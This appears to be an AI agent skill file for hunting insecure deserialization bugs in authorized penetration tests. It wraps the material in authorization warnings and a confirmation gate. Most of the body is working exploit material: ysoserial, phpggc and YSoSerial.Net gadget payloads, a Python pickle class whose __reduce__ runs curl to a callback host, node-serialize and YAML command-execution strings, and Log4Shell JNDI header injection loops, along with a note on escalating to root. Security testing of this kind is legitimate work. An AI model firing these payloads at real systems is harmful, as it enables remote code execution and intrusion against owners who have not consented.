hunt-deserialization

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization severity depends on attacker control, reachable deserialization, available gadgets, privileges and demonstrated impact; a signal alone is not RCE.

Highest-value chains:

• Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
• PHP Object Injection — __wakeup / __destruct magic methods → file write / RCE
• Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
• .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
• Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
• JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

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Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

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Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
# Prerequisite: a previously reviewed immutable ysoserial-all.jar; stop if absent.

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id' | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# Error changes are a lead; use approved controls and source/runtime evidence.

# Craft gadget chain using phpggc
# Prerequisite: an existing reviewed phpggc installation; stop if absent.
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

• PHP phar:// (no unserialize() call) — older PHP runtimes could automatically deserialize metadata through filesystem access. PHP 8 stopped that automatic behavior; explicit getMetadata() may still deserialize. Verify the exact version/call path.

  phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
  # then reach  phar://uploads/poly.jpg/x  via any fs call
  

• Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
• Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Presence of __VIEWSTATE or absence of a separate __VIEWSTATEMAC field does
# not prove MAC is disabled. Verify configuration and controlled tamper behavior.

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

---

Chain Table

Deserialization signal	Chain to	Impact
Confirmed lab RCE	Harmless unique marker	Demonstrate minimum authorized effect
RCE as low-privilege user	Find SUID binaries / sudo rules	Privilege escalation → root
Blind RCE (OOB callback)	DNS callback → investigate originating path	Outbound interaction only until execution is proven
Log4Shell	LDAP → JNDI → class load	Full RCE on JVM process

---

Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

---

Validation

✅ A correlated DNS/HTTP callback supports outbound interaction; it does not alone prove deserialization or command execution ✅ Command output in response: full RCE confirmed

Severity: Assess the demonstrated effect and prerequisites; do not assign Critical from a fingerprint or callback alone.

When to Use

• You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
• You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

• Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
• Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
• Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

The direct binary-body example sends serialized bytes; base64 is only correct when the target explicitly decodes it. The Python example prints base64 but does not create payload.pkl; do not send a nonexistent/different artifact. JNDI lookup is not automatically class loading/RCE on patched JVMs. Keep tests bounded, use a unique controlled callback, do not read secrets/escalate privileges/write persistent files, and stop at the authorized proof. Review/pin any external kit before use. See PHP implemented metadata change.